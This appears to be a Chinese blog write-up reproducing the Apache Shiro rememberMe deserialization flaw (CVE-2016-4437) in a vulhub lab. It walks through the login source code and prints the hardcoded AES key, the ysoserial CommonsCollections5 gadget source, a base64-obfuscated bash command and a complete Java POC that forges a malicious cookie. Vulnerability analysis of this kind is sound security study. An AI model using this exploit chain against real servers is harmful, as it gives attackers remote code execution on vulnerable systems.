• [CVE-2016-4437] Apache Shiro 安全框架反序列化漏洞复现与原理详细分析



    0x01 前言:

    Apache Shiro是一个强大且易用的 Java安全框架,执行身份验证、授权、密码和会话管理。shiro 相比于 springsecurity 简单许多,官方号称 10 分钟就能学会。shiro 反序列化漏洞是 Java 经典漏洞,于2016年被挖掘出来,到现在依旧很多系统存在该漏洞,非常值得学习,对加深 shiro 认证机制的理解以及java代码审计颇有帮助。本文针对Shiro进行了一个原理性的讲解,从源码层面来分析了Shiro的认证和授权的整个流程,说明rememberme的作用,以及为何该字段会导致反序列化漏洞。


    0x02 Shiro 登录认证流程图:

    在这里插入图片描述


    0x02 版本范围:

    Shiro <= 1.2.5


    0x03 Shiro 登录验证流程调试分析:

    Shiro 环境来自 vulhub。 我们先正常输入账号密码登录,断点调试分析Shiro整个登录过程做了什么操作。

    • 输入正确的账号密码 (admin, vulhub) 登录,getSubject 获取一个没有绑定具体用户的空用户主体,账号密码写入 UsernamePasswordToken,subject.login() 开始进行账号密码验证登录。
      在这里插入图片描述
      在这里插入图片描述

    • 步入 login 方法,可以看到 securityManager.login(this, token) 通过 token (账号密码) 去登录验证获取具体用户主体 subject。
      在这里插入图片描述

      SecurityManager是Shiro框架的核心, Shiro通过 SecurityManager 来管理内部组件实例,并通过它来提供安全管理的各种服务。 SecurityManager 主要对账号、权限及身份认证进行设置和管理。在这里插入图片描述
      SecurityManager继承了接口Authorizer(认证器),SessionManager(会话管理器),Authenticator(授权器) 。

    • 跟进 login 方法,调用 Authorizer 接口的 authenticate 方法, 验证 AuthenticationToken 参数,如果验证成功,返回具体用户主体实例(Subject)表示经过身份验证的帐户的身份。如果AuthenticationToken 有问题,验证失败,则抛出 AuthenticationException。
      在这里插入图片描述

    • 继续跟进,token表示主体(用户)的登录主体和凭证,返回引用认证用户的帐户数据AuthenticationInfo。如果在身份验证过程中有任何问题,抛出 AuthenticationException 。
      在这里插入图片描述

    • 继续跟进,getRealms()获取Realm集合,如果realm只有一个,走的是doSingleRealmAuthentication方法,如果有多个,走的是doMultiRealmAuthentication方法。如下图:我们只创建了 Realm (MainRealm), 所以走 doSingleRealmAuthentication 方法获取身份验证信息。
      在这里插入图片描述
      在这里插入图片描述

    • 继续跟进,最后到了我们自己自定义账号密码匹配逻辑,匹配成功以后实例化 SimpleAuthenticationInfo 并返回。
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述

    • 用户账号密码匹配成功,一路返回到 AbstractAuthenticator.java#login, 当执行完 Subject loggedIn = createSubject(token, info, subject) 后,可以看到先前未绑定具体用户的 subject 现在已经绑定了具体用户 admin 。
      在这里插入图片描述

    • 继续跟进,在 AbstractAuthenticator.java#login 方法中对onSuccessfulLogin(token, info, loggedIn) 下断点,观察登录成功后进行了什么操作。如下代码逻辑可以看出,先判断securityManager 是否配置了 cookieRememberMeManager,如果存在,则下一步去判断前端是否表明了需要记住我(rememberme), isRememberMe(token) 为 true 说明需要记住我,然后执行 rememberIdentity(subject, token, info) 进行记住当前身份操作。
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述

    • 进入 rememberIdentity(subject, token, info),首先获取需要记住的用户主体信息,然后对 PrincipalCollection 实例对象进行序列化,getCipherService() 获取加密服务,进行AES加密,最后返回加密后的字节数组。
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述

    • 跟进 encrypt(bytes),可以看到调用 getEncryptionCipherKey() 获取秘钥字节数组进行AES加密,一路反向溯源发现原始秘钥字符串为 kPH+bIxk5D2deZiIxcaaaA==
      在这里插入图片描述
      在这里插入图片描述

    • 通过秘钥对数据进行加密,得到加密后字节数组,回到 AbstractRememberMeManager.java#rememberIdentity, 在 rememberSerializedIdentity(subject, bytes) 打断点,跟进可以看到对加密后的字节数组进行了 base64 编码,并保存进 cookie中,后面返回给前端进行保存。
      在这里插入图片描述在这里插入图片描述

    • 整个登录验证流程基本完成。用户关闭浏览器,在 rememberMe 指定过期时间内打开浏览器并访问相关接口服务时就无需再登录,可以正常访问服务。
      在这里插入图片描述

    小结:分析完整个登录验证的代码执行过程后,其实就很容易想到一个安全问题。生成 rememberMe 信息时进行了序列化操作,有序列化,并有反序列化过程,且加解密秘钥使用的硬编码,我们完全可以伪造 rememberMe 的信息,触发反序列化漏洞,进而控制服务器。


    0x04 复现漏洞:

    1、 服务端接收rememberMe的cookie值后的操作是:Cookie中rememberMe字段内容 —> Base64解密 —> 使用密钥进行AES解密 —>反序列化,我们要构造 poc 就需要先序列化数据然后再AES加密最后base64编码。
    2、由于上述 shirodemo 存在 commons-collections 3.2.1 依赖, 所以可使用 CommonsCollections5 利用链, 借助 ysoserial 指定CommonsCollections5 生成序列化数据。(后续会写一些反序列化利用链原理与挖掘文章,现在先将就用 ysoserial 生成)

    1、CommonsCollections5 利用链如下:

    	Gadget chain:
            ObjectInputStream.readObject()
                BadAttributeValueExpException.readObject()
                    TiedMapEntry.toString()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    2、ysoserial 指定 CommonsCollections5 利用链生成序列化数据的源代码如下:

    package ysoserial.payloads;
    
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.util.HashMap;
    import java.util.Map;
    
    import javax.management.BadAttributeValueExpException;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import ysoserial.payloads.annotation.Authors;
    import ysoserial.payloads.annotation.Dependencies;
    import ysoserial.payloads.annotation.PayloadTest;
    import ysoserial.payloads.util.Gadgets;
    import ysoserial.payloads.util.JavaVersion;
    import ysoserial.payloads.util.PayloadRunner;
    import ysoserial.payloads.util.Reflections;
    
    @SuppressWarnings({"rawtypes", "unchecked"})
    @PayloadTest ( precondition = "isApplicableJavaVersion")
    @Dependencies({"commons-collections:commons-collections:3.1"})
    @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
    public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
    
    	public BadAttributeValueExpException getObject(final String command) throws Exception {
    		final String[] execArgs = new String[] { command };
    		// inert chain for setup
    		final Transformer transformerChain = new ChainedTransformer(
    		        new Transformer[]{ new ConstantTransformer(1) });
    		// real chain for after setup
    		final Transformer[] transformers = new Transformer[] {
    				new ConstantTransformer(Runtime.class),
    				new InvokerTransformer("getMethod", new Class[] {
    					String.class, Class[].class }, new Object[] {
    					"getRuntime", new Class[0] }),
    				new InvokerTransformer("invoke", new Class[] {
    					Object.class, Object[].class }, new Object[] {
    					null, new Object[0] }),
    				new InvokerTransformer("exec",
    					new Class[] { String.class }, execArgs),
    				new ConstantTransformer(1) };
    
    		final Map innerMap = new HashMap();
    
    		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    
    		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    
    		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    		Field valfield = val.getClass().getDeclaredField("val");
            Reflections.setAccessible(valfield);
    		valfield.set(val, entry);
    
    		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
    
    		return val;
    	}
    
    	public static void main(final String[] args) throws Exception {
    		PayloadRunner.run(CommonsCollections5.class, args);
    	}
    
        public static boolean isApplicableJavaVersion() {
            return JavaVersion.isBadAttrValExcReadObj();
        }
    
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73

    执行命令:java -jar .\ysoserial-all.jar CommonsCollections5 "bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}
    含义:指定 CommonsCollections5 利用链生成可执行 echo The server has been hacked > warning.txt 命令的序列化数据。

    为什么要写成 bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i},而不是直接写 echo The server has been hacked > warning.txt
    原因:当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过。具体看参考这篇文章:绕过exec获取反弹shell

    // exec(String command)
    public Process exec(String command) throws IOException {
        return exec(command, null, null);
    }
    ...
    public Process exec(String command, String[] envp, File dir)
        throws IOException {
        if (command.length() == 0)
            throw new IllegalArgumentException("Empty command");
    
        StringTokenizer st = new StringTokenizer(command);
        String[] cmdarray = new String[st.countTokens()];
        for (int i = 0; st.hasMoreTokens(); i++)
            cmdarray[i] = st.nextToken();
        return exec(cmdarray, envp, dir);
    }
    ...
    // exec(String cmdarray[])
    public Process exec(String cmdarray[]) throws IOException {
        return exec(cmdarray, null, null);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    3、编写 POC 生成 Payload:

    在这里插入图片描述

    package shiro;
    
    import java.io.*;
    import org.apache.shiro.codec.Base64;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    
    public class ShiroPoc {
    
        private static String KEY = "kPH+bIxk5D2deZiIxcaaaA==";
        private static String gadget = "CommonsCollections5";
        private static String cmd = "bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}";
    
        public static byte[] exec(String cmd) {
            Process process = null;
    
            try {
                if (File.separator.equals("/")) {
                    process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
                } else {
                    process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", cmd});
                }
            } catch (IOException var6) {
                var6.printStackTrace();
            }
    
            InputStream in1 = process.getInputStream();
            byte[] stdout = inputStreamToBytes(in1);
            InputStream in2 = process.getErrorStream();
            byte[] stderr = inputStreamToBytes(in2);
            return stdout.length != 0 ? stdout : stderr;
        }
    
        public static byte[] inputStreamToBytes(InputStream in) {
            ByteArrayOutputStream baos = null;
    
            Object var3;
            try {
                baos = new ByteArrayOutputStream();
                byte[] bytes = new byte[1024];
    
                int len;
                while((len = in.read(bytes)) != -1) {
                    baos.write(bytes, 0, len);
                }
    
                byte[] result = baos.toByteArray();
                byte[] var5 = result;
                return var5;
            } catch (IOException var15) {
                var3 = null;
            } finally {
                try {
                    if (baos != null) {
                        baos.close();
                    }
    
                    if (in != null) {
                        in.close();
                    }
                } catch (IOException var14) {
                    var14.printStackTrace();
                }
    
            }
    
            return (byte[])var3;
        }
    
        public static void main(String[] args) throws IOException {
            String result = "java -jar \""+"src\\main\\java\\shiro\\ysoserial.jar\" "+ gadget+ " \"" + cmd + "\"";
            byte[] ans = exec(result);
            AesCipherService aes = new AesCipherService();
            byte[] key = Base64.decode(KEY);
    
            ByteSource ciphertext = aes.encrypt(ans, key);
            BufferedWriter out = new BufferedWriter(new FileWriter("src\\main\\java\\shiro\\rememberMe.txt"));
            out.write(ciphertext.toBase64());
            out.close();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81

    4、验证漏洞:

    在这里插入图片描述
    在这里插入图片描述
    验证成功,漏洞复现成功。


  • 相关阅读:
    开发指南048-前端模块版本
    Windows本地mysql 的安装教程(一步一步进行安装)
    java lambda之方法句柄&invokedynamic指令
    开发者任务中心上线!千元豪礼送不停!
    Java反射详解
    excel中的引用与查找函数篇2
    2024得物校招面试真题汇总及其解答(三)
    M-LVDS收发器MS2111可pin对pin兼容SN65MLVD206
    C++结构型模式-装饰模式
    【pen200-lab】10.11.1.21(实际获得22权限)
  • 原文地址:https://blog.csdn.net/haduwi/article/details/127399463